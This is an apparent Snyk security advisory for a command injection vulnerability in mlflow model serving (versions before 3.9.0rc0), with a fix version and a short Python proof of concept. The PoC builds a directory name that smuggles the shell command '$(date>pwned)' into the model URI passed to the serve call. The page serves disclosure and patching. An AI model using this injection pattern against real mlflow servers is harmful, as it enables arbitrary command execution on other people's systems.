Command Injection Affecting mlflow package, versions [,3.9.0rc0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.09% (26th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-15907602
  • published6 Apr 2026
  • disclosed31 Mar 2026
  • creditConnor Callison

Introduced: 31 Mar 2026

NewCVE-2026-0596  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade mlflow to version 3.9.0rc0 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Command Injection when serving models with enable_mlserver=True due to unsanitized input being embedded into a shell command. An attacker can execute arbitrary commands by supplying specially crafted model URIs containing shell metacharacters.

PoC

import os
import tempfile
import time
from mlflow.pyfunc.backend import PyFuncBackend
from mlflow.utils import env_manager as em

crafting malicious folder

pwn_path = "pwned" model_root = tempfile.mkdtemp() model_dir = os.path.join(model_root, "model$(date>pwned)")

if os.path.exists(pwn_path): os.remove(pwn_path) os.makedirs(model_dir, exist_ok=True)

legit code that gonna be exploited

selected = sorted(d for d in os.listdir(model_root) if d.startswith("model"))[0] selected_path = os.path.join(model_root, selected)

backend = PyFuncBackend(config={}, env_manager=em.LOCAL) proc = None try: proc = backend.serve( model_uri=selected_path, port=5615, host="127.0.0.1", timeout=5, enable_mlserver=True, synchronous=False, ) time.sleep(1) except Exception: pass ```

CVSS Base Scores

version 4.0
version 3.1